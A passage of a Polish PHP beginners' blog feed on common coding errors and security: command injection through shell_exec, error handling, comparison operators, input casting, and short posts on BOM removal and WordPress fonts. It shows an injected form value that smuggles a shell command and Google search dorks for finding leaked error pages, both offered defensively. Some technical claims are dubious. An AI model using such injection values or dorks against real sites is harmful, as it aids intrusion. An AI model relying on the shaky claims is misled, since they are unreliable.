   $wykonaj = shell_exec( "cat $_POST['plik']" );
Jeżeli zmienna plik zamiast spodziewanej nazwy pliku tekstowego, którego zawartość ma zostać wyświetlona, będzie zawierać pochodzący z formularza ciąg znaków:
plik.txt \ ls -l
to oprócz wyświetlenia na ekranie zawartości podanego pliku otrzymamy listę plików w danym katalogu. Dlatego zanim użyjemy przekazywanego ciąg znaków jako parametru poleceń typu exec() , shell_exec() bądź też system() , koniecznie musimy poddać go działaniu funkcji escapeshellcmd() , która doda znaki \ przed wszelkimi meta-znakami, takimi jak: \ + ? [ ] ^ $ ( ) co pozwoli uniknąć opisanych powyżej niebezpiecznych sytuacji.

Obsługa wyjątków

W większych projektach zawsze powinno się uwzględnić klasę/funkcję do obsługi błędów. Nie można sobie pozwolić na klasyczne komunikaty, ponieważ po pierwsze są one nieestetyczne, a po drugie mogą dostarczyć cennych informacji dla krakerów. Przykładowa funkcja dla obsługi błędów MySQL może wyglądać tak:

Przykład 1

<?php

    function catch_mysql_error( $line )
    {
         $errFile = fopen( 'mysql_errors.txt', 'a' );
         $strToWrite = date( 'd.m.Y H:i' ) . '::' . __FILE__ . '::' . $line . '::' . mysql_errno() . '::' . mysql_error() . '::' . $_SERVER["REMOTE_ADDR"] . '::' . $_SERVER["REQUEST_URI"] . "\n";
         fwrite( $errFile, $strToWrite );
         fclose( $errFile );
         echo 'Wystąpił błąd podczas pracy z bazą danych, i został on zgłoszony do administratora. Przepraszamy.';

    }
Przykładowe odwołanie się do funkcji wygląda następująco:

Przykład 1a

$getQuery = @mysql_query( 'SELECT * FROM tabela' ) OR exit( catch_mysql_error( __LINE__ ) );
W takiej funkcji, wszystkie potrzebne dane, czyli data wraz z godziną, nazwa pliku, linia, kod błędu, treść błędu oraz numer IP (przydatny w przypadku wykrycia próby włamania) są zapisywane do pliku, a użytkownikowi wyświetlany jest stosowny komunikat.

Odwołanie do klasy, która nie istnieje

Czasem gdy tworzymy nowy obiekt danej klasy może się zdarzyć w wyniku naszego roztargnienia odwołamy się do klasy, która nie istnieje, o czym oczywiście zostaniemy poinformowani w postaci komunikatu:
PHP Fatal error:  Class 'NaszaKlasa' not found in /home/[...]/index.php on line X
Błąd ten może mieć rożne źródła:
  • wynik naszej literówki np.
<?php
    class Hello{

        private $hello;
        public function sayHello(){

           return $this->hello = "Hello World";

        }
    }

    $obiekt = new Hallo; // gdzie ewidentnie widać, że powinno być Hello
    echo $obiekt->sayHello();
  • odwołanie do klasy zapisanej mała literą,
  • odwołanie się do do istniejącej klasy, jednakże nie zaimplementowanej do naszego pliku np. w wyniku nie uwzględnienia jej w naszej przestrzeni nazw NAMESPACE.
Należy wiec pamiętać, że PHP rozróżnia wielkości liter, a tworząc nazewnictwo klas zawsze stosujemy styl typu: upper camelCase.

Odwołanie do funkcji składowej(metody)

Podobnie jak wypadku odwołania do nieistniejącej klasy i w tym wypadku również zostaniemy poinformowani o błędzie:
PHP Fatal error:  Call to undefined method NaszaKlasa::naszaMetoda() in /home/[...]/index.php on line X
Błąd ten oczywiście podobnie jak było w wypadku klas może być:
  • wynikiem naszej literówki np.
<?php
    class Hello{

        private $hello;
        public function sayHello(){

           return $this->hello = "Hello World";

        }
    }

    $obiekt = new Hello;     
    echo $obiekt->seyHello();
  • jednakże w tym wypadku odwołanie się do metody zapisanej małymi literami zadziała.
Ponadto istnieją jeszcze inne możliwości generujące błędy funkcji składowych:
  • odwołanie do metody, która nie istnieje w danej klasie, lub nie mamy do niej dostępu w wyniku hermetyzacji metod:
PHP Fatal error: Call to protected method NaszaKlasa::naszaMetoda() from context '' in /home/[...]/index.php on line X
lub
PHP Fatal error:  Call to private method NaszaKlasa::naszaMetoda() from context '' in /home/[...]/index.php on line X
  • odwołanie się do metody jako zmiennej:
PHP Notice:  Undefined property: NaszaKlasa::$naszaMetoda in /home/[...]/index.php on line X
Pamiętaj! Tworząc nazewnictwo funkcji składowych(metod) zawsze stosuj styl typu: camelCase, bo to później znacznie usprawnia interpretacje napisanego przez nas kodu.

Parę słów o kompatybilności z PHP4 w OOP

Jak wiadomo, aby wszystko to co działało poprawnie w wersji PHP4 działało nadal w wersji PHP5 zastosowano kompatybilność wstecz, tak samo było w wypadku OOP. Jednakże przy pełnym raportowaniu błędów mogą pojawiać się problemy, oto jeden z nich: Załóżmy, że stworzymy sobie klasę Osoba, w której zadeklarujemy zmienna imię:
<?php

    class Osoba {

        var $imie;

    }
to mimo iż deklaracja takowa jest poprawna, przy pełnym raportowaniu błędów, ujrzymy komunikat:
Strict Standards: var: Deprecated. Please use the public/private/protected modifiers in index.php on line 5
Jest to oczywiście informacja, że stosowanie var, w obecnej wersji PHP jest nie zalecane i należy nadać jej typ jednego z modyfikatorów : public/private/protected.

Dzielenie przez zero

Na koniec warto jeszcze wspomnieć o pewnym Warning`u, który teoretycznie nigdy nie powinien się nam pojawić, ale jak wiadomo czasem może się zdarzyć, a mianowicie, kiedy próbujemy podzielić jakaś liczbę przez zero:
<?php
    $n = 10;

    echo $n/0;
PHP Warning:  Division by zero in /home/[..]/index.php on line 4
Oczywiście jak wiadomo nikt z nas nie napisze swojego skryptu dodając jawnie 0, jest to tylko przykład prezentujący działanie, jednakże należy zawsze pamiętać, by dzieląc coś sprawdzać czy czasem nasza wartość nie przyjmuje właśnie zera.

Operator porównania(ważne)

Operatory porównania są niezbędne do korzystania z instrukcji warunkowych (jeśli coś to zrób coś). Zwracają one wartość TRUE (prawda1) lub FALSE (fałsz0).
Przykład Nazwa Wynik
$a==$b Równy Prawda jeśli $a jest równe $b.
$a===$b Identyczny Prawda jeśli $a jest równe $b i są tego samego typu. (od PHP4)
$a!=$b Nie równe Prawda jeśli $a nie jest równe $b.
$a!==$b Nie identyczny Prawda jeśli $a nie jest równe $b lub nie są tego samego typu. (od PHP4)
$a < $b Mniejsze Prawda jeśli $a jest mniejsze niż $b.
$a > $b Większe Prawda jeśli $a jest większe niż $b.
$a<=$b Mniejsze lub równe Prawda jeśli $a jest mniejsze lub równe $b.
$a>=$b Większe lub równe Prawda jeśli $a jest większe lub równe $b.

Uwaga!!

Ponieważ 1 lutego 2013 roku udowodniono, że operator == potrafi przyjmować błędne wartości, zaleca się stosowanie operatora ===, które sprawdza również jakiego typu są zadane dane.

Przykład błędnego wyniku porównania dla operatora == :

<?php

    if("1234" == "\t\r\n 1234")

       echo "Takie same\n";

    else

       echo "Nie takie same\n";
który zwraca: Takie same , a powinien zwrócić: Nie takie same.

Błędy zaokrągleń

Jak wiadomo czasem wymagane jest od użytkownika, aby wprowadził jakieś dane. W tym wypadku skupimy się na danych liczbowych.

Przykład 1

W ostatnich latach rośnie popularność sklepów internetowych, gdzie praktykuje się dodawanie produktów, które zamierzamy zakupić do tzw. Koszyka. Jak wiadomo użytkownik przed finalizacją transakcji, sam określa ile sztuk danego produktu chcę zakupić i tu się właśnie pojawia pytanie: A co jak wprowadzimy blednę dane, przyjrzyjmy się wiec temu z bliska: Tradycyjnie nasz kod wyglądał by np. tak (oczywiście jest to tylko przykład, bo jak wiadomo tworząc sklepy internetowe operujemy na obiektach, a nie tworzymy sklepu strukturalnie, ale tu chodzi o samą idee):
<?php

    $ileSztuk = mysql_real_escape_string( $_POST['ilosc_stuk'] );
Oczywiście obecnie zaleca się używać mysqli lub PDO, jednakże mysql nadal jest bardzo popularne, dlatego przykład oparliśmy właśnie na nim, ale skupmy się na naszym problemie:
  • Użytkownik podaje jako liczbę sztuk np. 1.5, a jak wiadomo liczba sztuk jest liczbą całkowitą, dlatego też następuje zaokrąglenie tej liczby w naszym przypadku do 2 , dzieję się tak ponieważ w naszej bazie danych ustawiliśmy oczywiście dla naszego rekordu typ całkowity. Dlatego też modyfikujemy stworzony przez nas fragment kodu, następująco:
<?php

    $ileSztuk = round( $_POST['ilosc_stuk'] );
Po przetestowaniu widzimy, że wprowadzając liczbę 1,5 następuje jej odcięcie do pierwszej liczby znaczącej, czyli w naszym przypadku do 1. Uwaga w wypadku round poprawny wynik zostanie zwrócony tylko dla liczb w których użyty zostanie , np. 1,5 bo jeśli użyjemy . np. 1.5 to zwrócony wynik również będzie błędny, dlatego też zaleca się skorzystać z metody rzutowania na typ całkowity.
  • Użytkownik podaje jako liczbę sztuk np. -9999999, czyli krótko mówiąc liczbę mniszą od zera, w tym wypadku również rozwiązanie zaprezentowane powyżej nie pomoże, dlatego z pomocą przychodzi nam rzutowanie zmiennych:
<?php

    $ileSztuk = (int)( $_POST['ilosc_stuk'] );

    if( isset( $ileSztuk ) && $ileSztuk > 0 )

    // [...]
Jak widać oprócz rzutowania w naszym wypadku na typ całkowity int, należało również sprawdzić, czy czasem nie jest to liczba mniejsza od 0, ponieważ samo rzutowanie by nie wystarczyło.
Pamiętaj! Kiedy pobieramy od użytkownika, jakieś dane, to zawsze należy się zastanowić jakie będą one miały przeznaczenie. Jeśli to będą np. liczby całkowite jak na zaprezentowanym powyżej przykładzie, to należy zawszę przed wprowadzeniem ich do bazy danych, przeprowadzić rzutowanie na dany typ danych, aby unikać tego typu pomyłek.
Uwaga Nigdy nie należy rzutować nieznanego ułamka do typu integer, gdyż może to doprowadzić do nieoczekiwanych rezultatów.

Zestawienie podstawowych funkcji odpowiedzialnych za filtrowanie danych od użytkownika

  • string addslashes ( string string ) Zwraca ciąg znaków z dodanymi znakami \ (backslash) przez znakami specjalnymi, takimi jak: " ' $ \. Przeciwieństwem tej funkcji jest funkcja stripslashes. Potrzebne przy dodawaniu danych do bazy danych,
  • string basename ( string ścieżka [, string przyrostek ] ) Zwraca nazwę pliku, obcinając z ciągu znaków wszystkie foldery,
  • string escapeshellcmd ( string komenda ) Dodaje do łańcucha znaki, uniemożliwiające jego zinterpretowanie jako polecenia powłoki przez funkcje exec(), shell_exec() i system(),
  • string htmlspecialchars ( string string [, int quote_style [, string charset ] ] ) Konwertuje znaki specjalne htmlu (&, ", ', < i >) na odpowiednie encje znakowe. Uniemożliwia wykonanie kodu html w przeglądarce,
  • string mysql_escape_string ( string łańcuch_bez_znaków_unikowych ) Funkcja podobna do addslashes, tylko bardziej nastawiona na mysql, jednakże obecnie zaleca się korzystanie z klasy PDO, gdzie mamy PDO::quote,
  • string strip_tags ( string str [, string dozwolone_znaczniki ] ) Wycina wszystkie tagi html i php z podanego ciągu znaków,
  • rodzina funkcji filtrujących np. mixed filter_input ( int typ , string nazwa_zmiennej [, int filtr = FILTER_DEFAULT [, mixed opcje ] ] ),
  • string trim ( string str [, string charlist = " \t\n\r\0\x0B" ] ) Usuwa niedrukowane znaki (spacje, tabulacje) na początku i końcu łańcucha.

Poziomy raportowania błędów

Poziom raportowania błędów określa, na jakie zdarzenia PHP ma reagować wyświetleniem stosownego komunikatu. Docelowo ustawia się go w pliku konfiguracyjnym php.ini, w dyrektywie errorreporting. Początkowo zaleca się ustawienie raportowania błędów na poziomie EALL | ESTRICT dla PHP < 5.4.0, ponieważ wraz z wersją 5.4.0 - ESTRICT stał się częścią EALL i wystarczy użyć w tym wypadku tylko EALL. Jednakże takie ustawienie należy stosować tylko i wyłącznie w fazie tworzenia/testowania naszych skryptów. Więc gdy już zakończymy prace nad naszym skryptem i umieścimy w Internecie, należy wyłączyć wyświetlanie wszystkich błędów, ponieważ takie komunikaty często ujawniają wiele informacji o skrypcie, czy też używanym przez nas oprogramowaniu, które mogą ułatwić atak na nasz serwis.

Poziom raportowania można tymczasowo zmieniać z poziomu skryptu funkcją error_reporting():

Przykład 1

<?php

    error_reporting( E_ALL ^ E_NOTICE );

    echo 'Brak komunikatu Notice: '.$nieistniejacaZmienna;

Funkcja ta zawsze zwraca jako rezultat dotychczasowy poziom raportowania, dzięki czemu możemy go potem bez problemu przywrócić:

Przykład 1a

<?php

    $blad = error_reporting( E_ALL ^ E_NOTICE );

    echo 'Brak komunikatu Notice: '.$nieistniejacaZmienna;

    error_reporting( $blad );

    echo 'A teraz już jest: '.$nieistniejacaZmienna;

Google hacking

Jedną z popularnych technik, którą można zastosować, aby wyłuskać interesujące informacje o aplikacji z komunikatów o błędach, jest tzw. google hacking – czyli, najprościej rzecz ujmując, poszukiwanie w Google zaindeksowanych stron zawierających komunikaty z błędami.

Przykład 1

site:comstudio.fwl.pl unknown
site:comstudio.fwl.pl error
site:comstudio.fwl.pl warning
site:comstudio.fwl.pl exception
site:comstudio.fwl.pl invalid
site:comstudio.fwl.pl sql query

Ponadto korzystając z wyszukiwarki, atakujący nie potrzebuje uzyskiwać dostępu do naszej aplikacji – więc nawet nie wiemy o potencjalnie rozpoczynającym się ataku… Co więcej, wystarczy, że nasza aplikacja działała tylko chwilę w trybie ze szczegółowym wyświetlaniem błędów i że akurat w tym momencie strony z komunikatami błędów zaindeksował robot. Dlatego należy pamiętać, że nigdy nie należy pozostawiać włączonego raportowania błędów jeśli umieszczamy naszą aplikację w sieci.

Dostępne poziomy raportowania błędów:

Kompatybilność: PHP4, PHP5.

1 E_ERROR
2 E_WARNING
4 E_PARSE
8 E_NOTICE
16 E_CORE_ERROR
32 E_CORE_WARNING
64 E_COMPILE_ERROR
128 E_COMPILE_WARNING
256 E_USER_ERROR
512 E_USER_WARNING
1024 E_USER_NOTICE
6143 E_ALL
2048 E_STRICT
4096 E_RECOVERABLE_ERROR
8192 E_DEPRECATED
16384 E_USER_DEPRECATED

Ostatnia Aktualizacja 21 marca 2013 roku

Autor: Andrzej Kostrzewa

]]>
http://comstudio.github.io/php-kazdy-popelnia-bledy/dc0a66fe-5597-4f08-8f7d-cbdbcb5c612bSat, 16 Mar 2013 01:40:09 GMT
<![CDATA[UTF-8 bez BOM]]>
Rozpoczynając pracę nad nowym projektem, zawsze na samym początku należy określić jakiego kodowania znaków będziemy używać. Obecnie aby zagwarantować dużą kompatybilność przyjęło się stosować kodowanie UTF-8. Na pierwszy rzut oka wszystko wydaję się bardzo proste jednakże wcale takie nie jest, ponieważ wybierając UTF-8 często zapominamy o tym, że trzeba zaznaczyć, aby do pliku nie był dodawany nagłówek(BOM), ponieważ gdy o tym zapomnimy i wyświetlimy naszą stronę to na ekranie ukarze się oprócz treści np. tajemniczy komunikat (Warning):

Warning:  session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at ...\www\index.php:1) in ...\www\index.php on line 2  

Większość początkujących programistów to zignoruje i pewnie wyłączy wyświetlanie błędów poprzez dodanie @ przed sessionstart(); , lecz każdy bardziej doświadczony będzie wiedział, że po prostu w naszym pliku został na początku zapisany nagłówek informujący o kodowaniu czyli nasze BOM, jednakże nie jest on widoczny w większości edytorów dlatego też programiści o tym zapominają, a to sprawia iż wywołanie np. funkcji sessionstart() , header() , include() , require() zakończy się wyświetleniem komunikatu o błędzie, którego nigdy nie należy ignorować!

Co można z tym zrobić?

Kiedy już do naszego skryptu wkradł się BOM, należy go oczywiście niezwłocznie z niego usunąć, poprzez konwersje naszego pliku na format UTF-8 bez BOM.

W internecie można znaleźć wiele edytorów kodu, które cieszą się ogromną popularnością i są to przeważnie edytory typu IDE, które umożliwiają usuwanie naszego BOM z pliku, jednakże osobiście polecamy dla osób pracujących na platformie Windows notepad++ , który również doskonale sobie z tym radzi.

Jak usunąć BOM z pliku w programie notepad++

Otwieramy nasz plik w notepad++, a następnie przechodzimy do menu
Format gdzie wybieramy opcje Konwertuj na format UTF-8 bez BOM
i zapisujemy nasz plik.

Jeśli jednak nie posiadamy odpowiedniego programu można wykorzystać do tego  funkcję napisaną  w języku php :

$_file = ''; # nazwa pliku

function removeBOM($page){
    if(substr($page,0,3)==chr(hexdec('EF')).chr(hexdec('BB')).chr(hexdec('BF'))){
       return substr($page,3);
   }else{
       return $page;
   }
}

$file = file_get_contents($_file);
if (!file_put_contents($_file,removeBOM($file))) {
    echo "Nie udało się zapisać do pliku";
}

Należy jednak pamiętać, że zaleca się usuwać BOM, za pomocą odpowiedniego edytora, a druga metoda została przedstawiona jako ciekawostka.

]]>
http://comstudio.github.io/utf-8-bez-bom-2/593b3748-dc98-481a-b358-a3050d556a3fTue, 12 Mar 2013 18:35:28 GMT
<![CDATA[Polskie czcionki w WordPress]]>
Kiedy wybierzemy motyw dla WordPress-a może się okazać, że czcionka, która została zdefiniowana w szablonie motywu, nie obsługuje polskich znaków, a co za tym idzie polskie encje są podmieniane, co zazwyczaj nie wygląda dobrze. Z pomocą przychodzi jak zwykle Google i jego baza webfont-ów , dostępna pod adresem http://www.google.com/fonts/. Wystarczy, że odnajdziemy w nagłówku źródła naszej strony link o id="webfonts-css" lub link o adresie http://fonts.googleapis.com/css?family={nazwa i typ czcionki}, oczywiście przy włączonej opcji niestandardowych czcionek, a następnie wybierzemy czcionkę dla której chcemy ustawić polskie znaki np. PT Sans, kiedy już dokonamy wyboru, trzeba zalogować się do klienta FTP i zmodyfikować plik który dla domyślnej instalacji znajduję się pod wskazanym adresem:

 ./wp-content/themes/{nazwa_motywu}/functions.php

Gdzie oczywiście {nazwa_motywu} odpowiada naszemu wybranemu motywowi strony. Modyfikacja wygląda następująco:

  • W pliku odnajdujemy nazwę naszej czcionki
  • Na końcu tej nazwy dopisujemy &subset=latin-ext
  • Następnie zapisujemy i odświeżamy stronę, po czym polskie encje powinny być wyświetlane poprawnie.

Dla ułatwienia pokażemy przykładową modyfikację takiego pliku(dla motywu Emphaino):

functions.php(153)
function emphaino_enqueue_webfonts() {
    $font_families[] = 'PT+Sans:400,700,400italic';
    $font_families[] = 'Bree+Serif&subset=latin-ext';

    $protocol = is_ssl() ? 'https' : 'http';
    $query_args = array(
        'family' => implode( '|', $font_families ),
    );
    wp_enqueue_style( 'webfonts', add_query_arg( $query_args, "$protocol://fonts.googleapis.com/css" ), array(), null );
}

Gdzie wartość dodana (&subset=latin-ext) została wytłuczona.

]]>
http://comstudio.github.io/polskie-czcionki-w-wordpress/2cf03e59-6b58-43f1-97a5-f4116395c1bbTue, 12 Mar 2013 01:18:12 GMT
<![CDATA[Witamy]]>Jako Agencja Interaktywna doskonale wiemy z jakimi problemami boryka się początkujący webdeveloper, dlatego też stworzyliśmy ten blog, aby ułatwić wam pierwsze kroki. Nie wykluczone, że starsi programiści znajdą tutaj też coś dla siebie. Zapraszamy do śledzenia naszego bloga.

Zespół, ComStudio

]]>
http://comstudio.github.io/witamy/763d15df-8ba7-4023-81fe-e3ac728e7996Sun, 10 Mar 2013 00:22:23 GMT